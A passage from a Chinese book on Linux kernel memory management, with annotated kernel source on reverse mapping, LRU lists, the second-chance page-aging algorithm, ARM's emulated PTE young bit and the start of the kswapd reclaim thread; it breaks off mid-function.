如果子进程的VMA发生COW,那么会使用子进程VMA创建的anon_vma数据结构,即page->mmaping指针指向子进程VMA对应的anon_vma数据结构。在do_wp_page()函数中处理COW场景的情况。

子进程和父进程共享的匿名页面, 子进程的VMA发生COW

->缺页中断发生
  ->handle_pte_fault
    ->do_wp_page
      -> 分配一个新的匿名页面
       ->__page_set_anon_rmap 使用子进程的anon_vma来设置page->mapping

内核中经常有通过struc page数据结构找到所有映射这个page的VMA的需求。早期的Linux内核的实现通过扫描所有进程的VMA,这种方法相当耗时。在Linux 2.5开发期间,反向映射的概念已经形成,经过多年的优化形成现在的版本。

反向映射的典型应用场景如下。

反向映射的核心函数是try_to_unmap(),内核中的其他模块会调用此函数来断开一个页面的所有映射。

[mm/rmap.c]

0 int try_to_unmap(struct page *page, enum ttu_flags flags)
1 {
2    int ret;
3    struct rmap_walk_control rwc = {
4         .rmap_one = try_to_unmap_one,
5         .arg = (void *)flags,
6         .done = page_not_mapped,
7         .anon_lock = page_lock_anon_vma_read,
8    };
9 
10   ret = rmap_walk(page, &rwc);
11
12   if (ret != SWAP_MLOCK && !page_mapped(page))
13          ret = SWAP_SUCCESS;
14     return ret;
15}

try_to_unmap()函数返回值如下。

内核中有3种页面需要unmap操作,即KSM页面、匿名页面和文件映射页面,因此定义一个rmap_walk_control控制数据结构来统一管理unmap操作。

struct rmap_walk_control {
     void *arg;
     int (*rmap_one)(struct page *page, struct vm_area_struct *vma,
                      unsigned long addr, void *arg);
     int (*done)(struct page *page);
     struct anon_vma *(*anon_lock)(struct page *page);
     bool (*invalid_vma)(struct vm_area_struct *vma, void *arg);
};

struct rmap_walk_control数据结构定义了一些函数指针,其中,rmap_one表示具体断开某个VMA上映射的pte,done表示判断一个页面是否断开成功的条件,anon_lock实现一个锁机制,invalid_vma表示跳过无效的VMA。

[try_to_unmap()->rmap_walk()->rmap_walk_anon()]

0 static int rmap_walk_anon(struct page *page, struct rmap_walk_control *rwc)
1 {
2    struct anon_vma *anon_vma;
3    pgoff_t pgoff;
4    struct anon_vma_chain *avc;
5    int ret = SWAP_AGAIN;
6 
7    anon_vma = rmap_walk_anon_lock(page, rwc);
8    if (!anon_vma)
9          return ret;
10
11   pgoff = page_to_pgoff(page);
12   anon_vma_interval_tree_foreach(avc, &anon_vma->rb_root, pgoff, pgoff) {
13       struct vm_area_struct *vma = avc->vma;
14       unsigned long address = vma_address(page, vma);
15
16       if (rwc->invalid_vma && rwc->invalid_vma(vma, rwc->arg))
17             continue;
18
19       ret = rwc->rmap_one(page, vma, address, rwc->arg);
20       if (ret != SWAP_AGAIN)
21             break;
22       if (rwc->done && rwc->done(page))
23             break;
24   }
25   anon_vma_unlock_read(anon_vma);
26   return ret;
27}

第7行代码,rmap_walk_anon_lock()获取页面page->mapping指向的anon_vma数据结构,并申请一个读者锁。第12行代码,遍历anon_vma->rb_root红黑树中的avc,从avc中可以得到相应的VMA,然后调用rmap_one()来完成断开用户PTE页表项。

早期的Linux 2.6的RMAP实现如图2.25所示,父进程的VMA中有一个struct anon_vma数据结构(简称AVp),page->mapping指向AVp数据结构,另外父进程和子进程所有映射了页面的VMAs都挂入到父进程的AVp的一个链表中。当需要从物理页面找出所有映射页面的VMA时,只需要从物理页面的page->mapping找到AVp,再遍历AVp链表即可。当子进程的虚拟内存发生写时复制COW时,新分配的页面COW_Page->mapping依然指向父进程的AVp数据结构。这个模型非常简洁,而且通俗易懂,但也有致命的弱点,特别是在负载重的服务器中,例如父进程有1000个子进程,每个子进程都有一个VMA,这个VMA中有1000个匿名页面,当所有的子进程的VMA中的所有匿名页面都同时发生写时复制时,情况会很糟糕。因为在父进程的AVp队列中会有100万个匿名页面,扫描这个队列要耗费很长的时间。

图2.25 早期的Linux 2.6的RMAP实现

Linux 2.6.34内核对RMAP反向映射系统进行了优化,模型和现在Linux 4.0内核中的模型相似,如图2.26所示,新增加了AVC数据结构(struct anon_vma_chain),父进程和子进程都有各自的AV数据结构且都有一棵红黑树(简称AV红黑树),此外,父进程和子进程都有各自的AVC挂入进程的AV红黑树中。还有一个AVC作为纽带来联系父进程和子进程,我们暂且称它为AVC枢纽。AVC枢纽挂入父进程的AV红黑树中,因此所有子进程都有一个AVC枢纽用于挂入父进程的AV红黑树。需要反向映射遍历时,只需要扫描父进程中的AV红黑树即可。当子进程VMA发生COW时,新分配的匿名页面cow_page->mapping指向子进程自己的AV数据结构,而不是指向父进程的AV数据结构,因此在反向映射遍历时不需要扫描所有的子进程。

图2.26 新版反向映射RMAP系统的实现框图

在阅读本节前请思考如下小问题。

在Linux系统中,当内存有盈余时,内核会尽量多地使用内存作为文件缓存(page cache),从而提高系统的性能。文件缓存页面会加入到文件类型的LRU链表中,当系统内存紧张时,文件缓存页面会被丢弃,或者被修改的文件缓存会被回写到存储设备中,与块设备同步之后便可释放出物理内存。现在的应用程序越来越转向内存密集型,无论系统中有多少物理内存都是不够用的,因此Linux系统会使用存储设备当作交换分区,内核将很少使用的内存换出到交换分区,以便释放出物理内存,这个机制称为页交换(swapping),这些处理机制统称为页面回收(page reclaim)。

在最近几十年操作系统的发展过程中,有很多页面交换算法,其中每个算法都有各自的优点和缺点。Linux内核中采用的页交换算法主要是LRU算法和第二次机会法(second chance)。

1.LRU链表

LRU是least recently used(最近最少使用)的缩写,LRU假定最近不使用的页在较短的时间内也不会频繁使用。在内存不足时,这些页面将成为被换出的候选者。内核使用双向链表来定义LRU链表,并且根据页面的类型分为LRU_ANON和LRU_FILE。每种类型根据页面的活跃性分为活跃LRU和不活跃LRU,所以内核中一共有如下5个LRU链表。

LRU链表之所以要分成这样,是因为当内存紧缺时总是优先换出page cache页面,而不是匿名页面。因为大多数情况page cache页面下不需要回写磁盘,除非页面内容被修改了,而匿名页面总是要被写入交换分区才能被换出。LRU链表按照zone来配置[9],也就是每个zone中都有一整套LRU链表,因此zone数据结构中有一个成员lruvec指向这些链表。枚举类型变量lru_list列举出上述各种LRU链表的类型,struct lruvec数据结构中定义了上述各种LRU类型的链表。

[include/linux/mmzone.h]

#define LRU_BASE 0
#define LRU_ACTIVE 1
#define LRU_FILE 2

enum lru_list {
   LRU_INACTIVE_ANON = LRU_BASE,
   LRU_ACTIVE_ANON = LRU_BASE + LRU_ACTIVE,
   LRU_INACTIVE_FILE = LRU_BASE + LRU_FILE,
   LRU_ACTIVE_FILE = LRU_BASE + LRU_FILE + LRU_ACTIVE,
   LRU_UNEVICTABLE,
   NR_LRU_LISTS
};

struct lruvec {
     struct list_head lists[NR_LRU_LISTS];
     struct zone_reclaim_stat reclaim_stat;
};

struct zone {
      …
     struct lruvec lruvec;
      …
};

LUR链表是如何实现页面老化的呢?

这需要从页面如何加入LRU链表,以及LRU链表摘取页面说起。加入LRU链表的常用API是lru_cache_add()。

[lru_cache_add()->__lru_cache_add()]

0 static void __lru_cache_add(struct page *page)
1 {
2    struct pagevec *pvec = &get_cpu_var(lru_add_pvec);
3 
4    page_cache_get(page);
5    if (!pagevec_space(pvec))
6         __pagevec_lru_add(pvec);
7    pagevec_add(pvec, page);
8    put_cpu_var(lru_add_pvec);
9 }

这里使用了页向量(pagevec)数据结构,借助一个数组来保存特定数目的页,可以对这些页面执行同样的操作。页向量会以“批处理的方式”执行,比单独处理一个页的方式效率要高。页向量数据结构的定义如下:

#define PAGEVEC_SIZE     14
struct pagevec {
     unsigned long nr;
     unsigned long cold;
     struct page *pages[PAGEVEC_SIZE];
};

__lru_cache_add()函数第5行代码判断页向量pagevec是否还有空间,如果没有空间,那么首先调用__pagevec_lru_add()函数把原有的page加入到LRU链表中,然后把新页面添加到页向量pagevec中。

[__lru_cache_add()->__pagevec_lru_add_fn()]

static void __pagevec_lru_add_fn(struct page *page, struct lruvec *lruvec,
                  void *arg)
{
     int file = page_is_file_cache(page);
     int active = PageActive(page);
     enum lru_list lru = page_lru(page);
     SetPageLRU(page);
     add_page_to_lru_list(page, lruvec, lru);
}

static __always_inline void add_page_to_lru_list(struct page *page,
                   struct lruvec *lruvec, enum lru_list lru)
{
     int nr_pages = hpage_nr_pages(page);
     list_add(&page->lru, &lruvec->lists[lru]);
}

从add_page_to_lru_list()可以看到,一个page最终通过list_add()函数来加入LRU链表,list_add()会将成员添加到链表头。

lru_to_page(&lur_list)和list_del(&page->lru)函数组合实现从LRU链表摘取页面,其中,lru_to_page()的实现如下:

[mm/vmscan.c]

#define lru_to_page(_head) (list_entry((_head)->prev, struct page, lru)) 

lru_to_page()使用了head->prev,从链表的末尾摘取页面,因此,LRU链表实现了先进先出(FIFO)算法。最先进入LRU链表的页面,在LRU中的时间会越长,老化时间也越长。

在系统运行过程中,页面总是在活跃LRU链表和不活跃LRU链表之间转移,不是每次访问内存页面都会发生这种转移。而是发生的时间间隔比较长,随着时间的推移,导致一种热平衡,最不常用的页面将慢慢移动到不活跃LRU链表的末尾,这些页面正是页面回收中最合适的候选者。

经典LRU链表算法如图2.27所示。

2.第二次机会法

第二次机会法(second chance)在经典LRU算法基础上做了一些改进。在经典LRU链表(FIFO)中,新产生的页面加入到LRU链表的开头,将LRU链表中现存的页面向后移动了一个位置。当系统内存短缺时,LRU链表尾部的页面将会离开并被换出。当系统再需要这些页面时,这些页面会重新置于LRU链表的开头。显然这个设计不是很巧妙,在换出页面时,没有考虑该页面的使用情况是频繁使用,还是很少使用。也就是说,频繁使用的页面依然会因为在LRU链表末尾而被换出。

图2.27 经典LRU链表算法

第二次机会算法的改进是为了避免把经常使用的页面置换出去。当选择置换页面时,依然和LRU算法一样,选择最早置入链表的页面,即在链表末尾的页面。二次机会法设置了一个访问状态位(硬件控制的比特位)[10],所以要检查页面的访问位。如果访问位是0,就淘汰这页面;如果访问位是1,就给它第二次机会,并选择下一个页面来换出。当该页面得到第二次机会时,它的访问位被清0,如果该页在此期间再次被访问过,则访问位置为1。这样给了第二次机会的页面将不会被淘汰,直至所有其他页面被淘汰过(或者也给了第二次机会)。因此,如果一个页面经常被使用,其访问位总保持为1,它一直不会被淘汰出去。

Linux内核使用PG_active和PG_referenced这两个标志位来实现第二次机会法。PG_active表示该页是否活跃,PG_referenced表示该页是否被引用过,主要函数如下。

3.mark_page_accessed()

下面来看mark_page_accessed()函数。

[mm/swap.c]

0 void mark_page_accessed(struct page *page)
1 {
2    if (!PageActive(page) && !PageUnevictable(page) &&
3              PageReferenced(page)) {
4          if (PageLRU(page))
5              activate_page(page);
6          else
7              __lru_cache_activate_page(page);
8          ClearPageReferenced(page);
9    } else if (!PageReferenced(page)) {
10        SetPageReferenced(page);
11   }
12}

mark_page_accessed()函数的主要逻辑如下。

(1)如果PG_active == 0 && PG_referenced ==1,则:

(2)如果PG_referenced == 0,则:

4.page_check_references()

下面来看page_check_references()函数。

[mm/vmscan.c]

0 static enum page_references page_check_references(struct page *page,
1                           struct scan_control *sc)
2 {
3    int referenced_ptes, referenced_page;
4    unsigned long vm_flags;
5 
6    referenced_ptes = page_referenced(page, 1, sc->target_mem_cgroup,
7                       &vm_flags);
8    referenced_page = TestClearPageReferenced(page);
9      
10   if (vm_flags & VM_LOCKED)
11        return PAGEREF_RECLAIM;
12
13   if (referenced_ptes) {
14        if (PageSwapBacked(page))
15             return PAGEREF_ACTIVATE;
16
17        SetPageReferenced(page);
18        if (referenced_page || referenced_ptes > 1)
19             return PAGEREF_ACTIVATE;
20
21        /*
22         * Activate file-backed executable pages after first usage.
23         */
24        if (vm_flags & VM_EXEC)
25             return PAGEREF_ACTIVATE;
26
27        return PAGEREF_KEEP;
28   }
29   return PAGEREF_RECLAIM;
30}

在扫描不活跃LRU链表时,page_check_references()会被调用,返回值是一个page_references的枚举类型。PAGEREF_ACTIVATE表示该页面会迁移到活跃链表,PAGEREF_KEEP表示会继续保留在不活跃链表中,PAGEREF_RECLAIM和PAGEREF_RECLAIM_CLEAN表示可以尝试回收该页面。

第6行代码中的page_referenced()检查该页有多少个访问引用pte(referenced_ptes)。第7行代码中的TestClearPageReferenced()函数返回该页面PG_referenced标志位的值(referenced_page),并且清该标志位。接下来的代码根据访问引用pte的数目(referenced_ptes变量)和PG_referenced标志位状态(referenced_page变量)来判断该页是留在活跃LRU、不活跃LRU,还是可以被回收。当该页有访问引用pte时,要被放回到活跃LRU链表中的情况如下。

其余的有访问引用的页面将会继续保持在不活跃LRU链表中,最后剩下的页面就是可以回收页面的最佳候选者。

第17~19行代码,如果有大量只访问一次的page cache充斥在活跃LRU链表中,那么在负载比较重的情况下,选择一个合适回收的候选者会变得越来越困难,并且引发分配内存的高延迟,将错误的页面换出。这里的设计是为了优化系统充斥着大量只使用一次的page cache页面的情况(通常是mmap映射的文件访问),在这种情况下,只访问一次的page cache页面会大量涌入活跃LRU链表中,因为shrink_inactive_list()会把这些页面迁移到活跃链表,不利于页面回收。mmap映射的文件访问通常通过filemap_fault()函数来产生page cache,在Linux 2.6.29以后的版本中,这些page cache将不会再调用mark_page_accessed()来设置PG_referenced[11]。因此对于这种页面,第一次访问的状态是有访问引用pte,但是PG_referenced=0,所以扫描不活跃链表时设置该页为PG_referenced,并且继续保留在不活跃链表中而没有被放入活跃链表。在第二次访问时,发现有访问引用pte但PG_referenced=1,这时才把该页加入活跃链表中。因此利用PG_referenced做了一个page cache的访问次数的过滤器,过滤掉大量的短时间(多给了一个不活跃链表老化的时间)只访问一次的page cache[12]。这样在内存短缺的情况下,kswapd就巧妙地释放了大量短时间只访问一次的page cache。这种大量只访问一次的page cache在不活跃LRU链表中多待一点时间,就越有利于在系统内存短缺时首先把它们释放了,否则这些页面跑到活跃LRU链表,再想把它们释放,那么要经历一个:

活跃LRU链表遍历时间 + 不活跃LRU链表遍历时间

第18行代码,“referenced_ptes > 1”表示那些第一次在不活跃LRU链表中shared page cache,也就是说,如果有多个文件同时映射到该页面,它们应该晋升到活跃LRU链表中,因为它们应该多在LRU链表中一点时间,以便其他用户可以再次访问到[13]

总结page_check_references()函数的主要作用如下。

(1)如果有访问引用pte,那么:

(2)如果没有访问引用pte,则表示可以尝试回收它。

5.page_referenced()

下面来看page_referenced()函数的实现。

[page_check_references()->page_referenced()]

0 int page_referenced(struct page *page,
1            int is_locked,
2            struct mem_cgroup *memcg,
3            unsigned long *vm_flags)
4 {
5    int ret;
6    int we_locked = 0;
7    struct page_referenced_arg pra = {
8         .mapcount = page_mapcount(page),
9         .memcg = memcg,
10   };
11   struct rmap_walk_control rwc = {
12        .rmap_one = page_referenced_one,
13        .arg = (void *)&pra,
14        .anon_lock = page_lock_anon_vma_read,
15   };
16
17   *vm_flags = 0;
18   if (!page_mapped(page))
19         return 0;
20
21   if (!page_rmapping(page))
22         return 0;
23
24   if (!is_locked && (!PageAnon(page) || PageKsm(page))) {
25         we_locked = trylock_page(page);
26         if (!we_locked)
27              return 1;
28   }
29
30   ret = rmap_walk(page, &rwc);
31   *vm_flags = pra.vm_flags;
32
33   if (we_locked)
34        unlock_page(page);
35
36   return pra.referenced;
37}

page_referenced()函数判断page是否被访问引用过,返回的访问引用pte的个数,即访问和引用(referenced)这个页面的用户进程空间虚拟页面的个数。核心思想是利用反向映射系统来统计访问引用pte的用户个数。第11行代码的rmap_walk_control数据结构中定义了rmap_one()函数指针。第18行代码,用page_mapped()判断page->_mapcount引用计数是否大于等于0。第21行代码,用page_rmapping()判断page->mapping是否有地址空间映射。第39行代码,rmap_walk()遍历该页面所有映射的pte,然后调用rmap_one()函数。

[shrink_active_list()->page_referenced()->rmap_walk()->rmap_one()]

0 static int page_referenced_one(struct page *page, struct vm_area_struct *vma,
1            unsigned long address, void *arg)
2 {
3   struct mm_struct *mm = vma->vm_mm;
4   spinlock_t *ptl;
5   int referenced = 0;
6   struct page_referenced_arg *pra = arg;
7 
8        pte_t *pte;
9        
10       pte = page_check_address(page, mm, address, &ptl, 0);
11       if (!pte)
12             return SWAP_AGAIN;
13       
14       if (ptep_clear_flush_young_notify(vma, address, pte)) {
15            /*
16             * Don't treat a reference through a sequentially read
17             * mapping as such.  If the page has been used in
18             * another mapping, we will catch it; if this other
19             * mapping is already gone, the unmap path will have
20             * set PG_referenced or activated the page.
21             */
22            if (likely(!(vma->vm_flags & VM_SEQ_READ)))
23                  referenced++;
24       }
25       pte_unmap_unlock(pte, ptl);
26
27   if (referenced) {
28       pra->referenced++;
29       pra->vm_flags |= vma->vm_flags;
30   }
31
32   pra->mapcount--;
33   if (!pra->mapcount)
34         return SWAP_SUCCESS; /* To break the loop */
35
36   return SWAP_AGAIN;
37}

第10行代码,由mm和addr获取pte,第14行代码判断该pte entry最近是否被访问过,如果访问过,L_PTE_YOUNG比特位会被自动置位,并清空PTE中的L_PTE_YOUNG比特位。在x86处理器中指的是_PAGE_ACCESSED比特位;在ARM32 Linux中,硬件上没有L_PTE_YOUNG比特位,那么ARM32 Linux如何模拟这个Linux版本的L_PTE_YOUNG比特位呢?

第22行代码,这里会排除顺序读的情况,因为顺序读的page cache是被回收的最佳候选者,因此对这些page cache做了弱访问引用处理(weak references)[14],而其余的情况都会当作pte被引用,最后增加pra->referenced计数和减少pra->mapcount的计数。

回到刚才的问题,ARM Linux如何模拟这个Linux版本的L_PTE_YOUNG比特位呢?

ARM32 Linux内核实现了两套页表,一套为了迎合Linux内核,一套为了ARM硬件。L_PTE_YOUNG是Linux版本页面表项的比特位,当内存映射建立时,会设置该比特位;当解除映射时,要清掉该比特位。

下面以匿名页面初次建立映射为例,来观察L_PTE_YOUNG比特位在何时第一次置位的?在do_brk()函数中,在新建一个VMA时会通过vm_get_page_prot()来建立VMA属性。

static unsigned long do_brk(unsigned long addr, unsigned long len)
{
     ...
     vma->vm_start = addr;
     vma->vm_end = addr + len;
     vma->vm_page_prot = vm_get_page_prot(flags);
     vma_link(mm, vma, prev, rb_link, rb_parent);
     ...
     return addr;
}

pgprot_t vm_get_page_prot(unsigned long vm_flags)
{
    return __pgprot(pgprot_val(protection_map[vm_flags &
                 (VM_READ|VM_WRITE|VM_EXEC|VM_SHARED)]) |
             pgprot_val(arch_vm_get_page_prot(vm_flags)));
}

在vm_get_page_prot()函数中,重要的是通过VMA属性来转换成PTE页表项的属性,可以通过查表的方式来获取,protection_map[ ]定义了很多种属性组合,这些属性组合最终转换为PTE页表的相关比特位。

[arch/arm/include/asm/pgtable.h]
#define _L_PTE_DEFAULT     L_PTE_PRESENT | L_PTE_YOUNG

#define __PAGE_NONE          __pgprot(_L_PTE_DEFAULT | L_PTE_RDONLY | L_PTE_XN | L_PTE_NONE)
#define __PAGE_SHARED      __pgprot(_L_PTE_DEFAULT | L_PTE_USER | L_PTE_XN)
#define __PAGE_SHARED_EXEC __pgprot(_L_PTE_DEFAULT | L_PTE_USER)
#define __PAGE_COPY        __pgprot(_L_PTE_DEFAULT | L_PTE_USER | L_PTE_RDONLY | L_PTE_XN)
#define __PAGE_COPY_EXEC __pgprot(_L_PTE_DEFAULT | L_PTE_USER | L_PTE_RDONLY)
#define __PAGE_READONLY __pgprot(_L_PTE_DEFAULT | L_PTE_USER | L_PTE_RDONLY | L_PTE_XN)
#define __PAGE_READONLY_EXEC __pgprot(_L_PTE_DEFAULT | L_PTE_USER | L_PTE_RDONLY) 

上述7种属性组合都会设置L_PTE_PRESENT | L_PTE_YOUNG这两个比特位到vma->vm_page_prot中。

在匿名页面缺页中断处理中,会根据vma->vm_page_prot来生成一个新的PTE页面表项。

static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma,
          unsigned long address, pte_t *page_table, pmd_t *pmd,
          unsigned int flags)
{
     ...
     entry = mk_pte(page, vma->vm_page_prot);
     ...
     set_pte_at(mm, address, page_table, entry);
}

因此,当匿名页面第一次建立映射时,会设置L_PTE_PRESENT | L_PTE_YOUNG这两个比特位到Linux版本的页面表项中。

当page_referenced()函数计算访问引用PTE的页面个数时,通过RMAP反向映射遍历每个PTE,然后调用ptep_clear_flush_young_notify()函数来检查每个PTE最近是否被访问过。

[page_referenced()->rmap_one()->page_referenced_one()]

#define ptep_clear_flush_young_notify(__vma, __address, __ptep)    \
({                                             \
     int __young;                                   \
     struct vm_area_struct *___vma = __vma;                    \
     unsigned long ___address = __address;                    \
     __young = ptep_clear_flush_young(___vma, ___address, __ptep); \
     __young |= mmu_notifier_clear_flush_young(___vma->vm_mm,     \
                           ___address,          \
                           ___address +          \
                             PAGE_SIZE);     \
     __young;                                \
})

ptep_clear_flush_young_notify()宏的核心是调用ptep_test_and_clear_young()函数。

[ptep_clear_flush_young_notify()->ptep_test_and_clear_young()]

static inline int ptep_test_and_clear_young(struct vm_area_struct *vma,
                             unsigned long address,
                             pte_t *ptep)
{
     pte_t pte = *ptep;
     int r = 1;
     if (!pte_young(pte))
           r = 0;
     else
           set_pte_at(vma->vm_mm, address, ptep, pte_mkold(pte));
     return r;
}

static inline pte_t pte_mkold(pte_t pte)
{
     return clear_pte_bit(pte, __pgprot(L_PTE_YOUNG));
}

ptep_test_and_clear_young()首先利用pte_young()宏来判断Linux版本的页表项中是否包含L_PTE_YOUNG比特位,如果没有设置该比特位,则返回0,表示映射PTE最近没有被访问引用过。如果L_PTE_YOUNG比特位置位,那么需要调用pte_mkold()宏来清这个比特位,然后调用set_pte_at()函数来写入ARM硬件页表。

[ptep_test_and_clear_young()->set_pte_at()->cpu_v7_set_pte_ext()]

ENTRY(cpu_v7_set_pte_ext)
    #ifdef CONFIG_MMU
             str      r1, [r0]                     @ linux version
             ...
             //当L_PTE_YOUNG被清掉并且L_PTE_PRESENT还在时,这时候保存Linux版本的页表不变,把ARM硬件版本的页表清0
             tst     r1, #L_PTE_YOUNG
             tstne     r1, #L_PTE_PRESENT
             moveq     r3, #0   

      ARM(   str  r3, [r0, #2048]! )  //写入硬件页表,硬件页表在 软件页表+2048Byte
      ALT_UP (mcr    p15, 0, r0, c7, c10, 1)        @ flush_pte
     #endif
             bx       lr
     ENDPROC(cpu_v7_set_pte_ext) 

当L_PTE_YOUNG被清掉且L_PTE_PRESENT还在时,保存Linux版本的页表不变,把ARM硬件版本的页表清0。

因为ARM硬件版本的页表被清0之后,当应用程序再次访问这个页面时会触发缺页中断。注意,此时ARM硬件版本的页表项内容为0,Linux版本的页表项内容还在。

[page_referenced()清了L_PTE_YOUNGARM硬件页表->应用程序再次访问该页->触发缺页中断]

0 static int handle_pte_fault(struct mm_struct *mm,
1              struct vm_area_struct *vma, unsigned long address,
2              pte_t *pte, pmd_t *pmd, unsigned int flags)
3 {
4    pte_t entry;
5    spinlock_t *ptl;
6    
7    entry = *pte;
8    barrier();
9    if (!pte_present(entry)) {
10        ...
11   }
12
13   ptl = pte_lockptr(mm, pmd);
14   spin_lock(ptl);
15   if (flags & FAULT_FLAG_WRITE) {
16        ...
17   }
18   //对于ARM平台,这里重新设置L_PTE_YOUNG比特位
19   entry = pte_mkyoung(entry);
20   if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
21         update_mmu_cache(vma, address, pte);
22   } 
23unlock:
24   pte_unmap_unlock(pte, ptl);
25   return 0;
26}

在缺页中断中会重新设置Linux版本页表的L_PTE_YOUNG比特位,见handle_pte_fault()第19~22行代码。

总结page_referenced()函数所做的主要工作如下。

6.例子

以用户进程读文件为例来说明第二次机会法。从用户空间的读函数到内核VFS层的vfs_read(),透过文件系统之后,调用read方法的通用函数do_generic_file_read(),第一次读和第二次读的情况如下。

第一次读:
    do_generic_file_read()->page_cache_sync_readahead()->__do_page_cache_readahead()-> read_pages()->add_to_page_cache_lru()把该页清PG_active且添加到不活跃链表中,PG_active=0
    do_generic_file_read()->mark_page_accessed()因为PG_referenced == 0,设置PG_referenced = 1
第二次读:
    do_generic_file_read()->mark_page_accessed()因为(PG_referenced==1 && PG_active ==0),
=﹥置PG_active=1,PG_referenced=0,把该页从不活跃链表加入活跃链表。

从上述读文件的例子可以看到,page cache从不活跃链表加入到活跃链表,需要mark_page_accessed()两次。

下面以另外一个常见的读取文件内容的方式mmap为例,来看page cache在LRU链表中的表现,假设文件系统是ext4。

(1)第一次读,即建立mmap映射时:
mmap文件->ext4_file_mmap()->filemap_fault():
->do_sync_mmap_readahead()->ra_submit()->read_pages()->ext4_readpages()->mpage_readpages()->add_to_page_cache_lru() 
把页面加入到不活跃文件LRU链表中,然后PG_active = 0 && PG_referenced = 0
(2)后续的读写和直接读写内存一样,没有设置PG_active 和PG_referenced标志位。
(3)kswapd第一次扫描:
当kswapd内核线程第一次扫描不活跃文件LRU链表时,
shrink_inactive_list()->shrink_page_list()->page_check_references()
检查到这个page cache页面有映射PTE且PG_referenced = 0,然后设置PG_referenced =1,并且继续保留在不活跃链表中。
(4)kswapd第二次扫描:
当kswapd内核线程第二次扫描不活跃文件LRU链表时,
page_check_references()检查到page cache页面有映射PTE且PG_referenced = 1,则将其迁移到活跃链表中。

下面来看从LRU链表换出页面的情况。

(1)第一次扫描活跃链表:shrink_active_list()->page_referenced()
﹦﹥这里基本上会把有访问引用pte的和没有访问引用pte的页都加入到不活跃链表中。
(2)第二次扫描不活跃链表:shrink_inactive_list()->page_check_references()
读取该页的PG_referenced并且清PG_referenced。
﹦﹥如果该页没有访问引用pte,回收的最佳候选者。
﹦﹥如果该页有访问引用pte的情况,需要具体问题具体分析。

原来的内核设计是在扫描活跃LRU链表时,如果该页有访问引用pte,将会被重新加入活跃链表头。但是这样做,会导致一些可扩展性的问题。原来的内核设计中,假设一个匿名页面刚加入活跃LRU链表且PG_referenced=1,如果要把该页来换出,则:

超级大系统中会有好几百万个匿名页面,移动一次LRU链表时间是非常长的,而且不是完全必要的。因此在Linux 2.6.28内核中对此做了优化[15],允许一部分活跃页面在不活跃LRU链表中,shrink_active_list()函数把有访问引用pte的页面也加入到不活跃LRU中。扫描不活跃页面LRU时,如果发现匿名页面有访问引用pte,则再将该页面迁移回到活跃LRU中。

上述提到的一些优化问题都是社区中的专家在大量实验中发现并加以调整和优化的,值得深入学习和理解,读者可以阅读完本章内容之后再回头来仔细推敲。

Linux内核中有一个非常重要的内核线程kswapd,负责在内存不足的情况下回收页面。kswapd内核线程初始化时会为系统中每个NUMA内存节点创建一个名为“kswapd%d”的内核线程。

[kswapd_init()->kswapd_run()]

int kswapd_run(int nid)
{
     pg_data_t *pgdat = NODE_DATA(nid);
     int ret = 0;

     pgdat->kswapd = kthread_run(kswapd, pgdat, "kswapd%d", nid);
     if (IS_ERR(pgdat->kswapd)) {
          ...
     }
     return ret;
}

在NUMA系统中,每个node节点有一个pg_data_t数据结构来描述物理内存的布局。pg_data_t数据结构定义在include/linux/mmzone.h头文件中,kswapd传递的参数就是pg_data_t数据结构。

[include/linux/mmzone.h]

typedef struct pglist_data {
     struct zone node_zones[MAX_NR_ZONES];
     struct zonelist node_zonelists[MAX_ZONELISTS];
     int nr_zones;
     unsigned long node_start_pfn;
     unsigned long node_present_pages; /* total number of physical pages */
     unsigned long node_spanned_pages; /* total size of physical page
                               range, including holes */
     int node_id;
     wait_queue_head_t kswapd_wait;
     wait_queue_head_t pfmemalloc_wait;
     struct task_struct *kswapd;     /* Protected by
                         mem_hotplug_begin/end() */
 int kswapd_max_order;
 enum zone_type classzone_idx;
} pg_data_t; 

和kswapd相关的参数有kswapd_max_order、kswapd_wait和classzone_idx等。kswapd_wait是一个等待队列,每个pg_data_t数据结构都有这样一个等待队列,它是在free_area_init_core()函数中初始化的。页面分配路径上的唤醒函数wakeup_kswapd()把kswapd_max_order和classzone_idx作为参数传递给kswapd内核线程。在分配内存路径上,如果在低水位(ALLOC_WMARK_LOW)的情况下无法成功分配内存,那么会通过wakeup_kswapd()函数唤醒kswapd内核线程来回收页面,以便释放一些内存。

wakeup_kswapd()函数定义在mm/vmscan.c文件中。

[alloc_page()->__alloc_pages_nodemask()->__alloc_pages_slowpath()->wake_all_kswapds()]

0 void wakeup_kswapd(struct zone *zone, int order, enum zone_type classzone_idx)
1 {
2    pg_data_t *pgdat;
3 
4    if (!populated_zone(zone))
5          return;
6 
7    if (!cpuset_zone_allowed(zone, GFP_KERNEL | __GFP_HARDWALL))
8          return;
9    pgdat = zone->zone_pgdat;
10   if (pgdat->kswapd_max_order < order) {
11         pgdat->kswapd_max_order = order;
12         pgdat->classzone_idx = min(pgdat->classzone_idx, classzone_idx);
13   }
14   if (!waitqueue_active(&pgdat->kswapd_wait))
15        return;
16   if (zone_balanced(zone, order, 0, 0))
17        return;
18   wake_up_interruptible(&pgdat->kswapd_wait);
19}

这里需要赋值kswapd_max_order和classzone_idx,其中kswapd_max_order不能小于alloc_page()分配内存的order,classzone_idx是在__alloc_pages_nodemask()函数中计算第一个最合适分配内存的zone序号,这两个参数会传递到kswapd内核线程中。classzone_idx是理解页面分配器和页面回收kswapd内核线程之间如何协同工作的一个关键点。

假设以GFP_HIGHUSER_MOVABLE为分配掩码分配内存,以在__alloc_pages_nodemask()->first_zones_zonelist()中计算出来的preferred_zone为ZONE_HIGHMEM,那么ac.classzone_idx的值为1,详见第2.4.1节。当内存分配失败时,页面分配器会唤醒kswapd内核线程,并且传递ac.classzone_idx值到kswapd内核线程,最后传递给balance_pgdat()函数的classzone_idx参数。

0 struct page *
1 __alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order,
2            struct zonelist *zonelist, nodemask_t *nodemask)
3 {
4   ...
5   struct alloc_context ac = {
6        .high_zoneidx = gfp_zone(gfp_mask),
7   };
8   ...
9   ac.zonelist = zonelist;
10  preferred_zoneref = first_zones_zonelist(ac.zonelist, ac.high_zoneidx,
11               ac.nodemask ? : &cpuset_current_mems_allowed,
12               &ac.preferred_zone);
13  ac.classzone_idx = zonelist_zone_idx(preferred_zoneref);
14  ...
15}
16
17static inline struct page *
18__alloc_pages_slowpath(gfp_t gfp_mask, unsigned int order,
19                      struct alloc_context *ac)
20{
21  ...
22retry:
23  if (!(gfp_mask & __GFP_NO_KSWAPD))
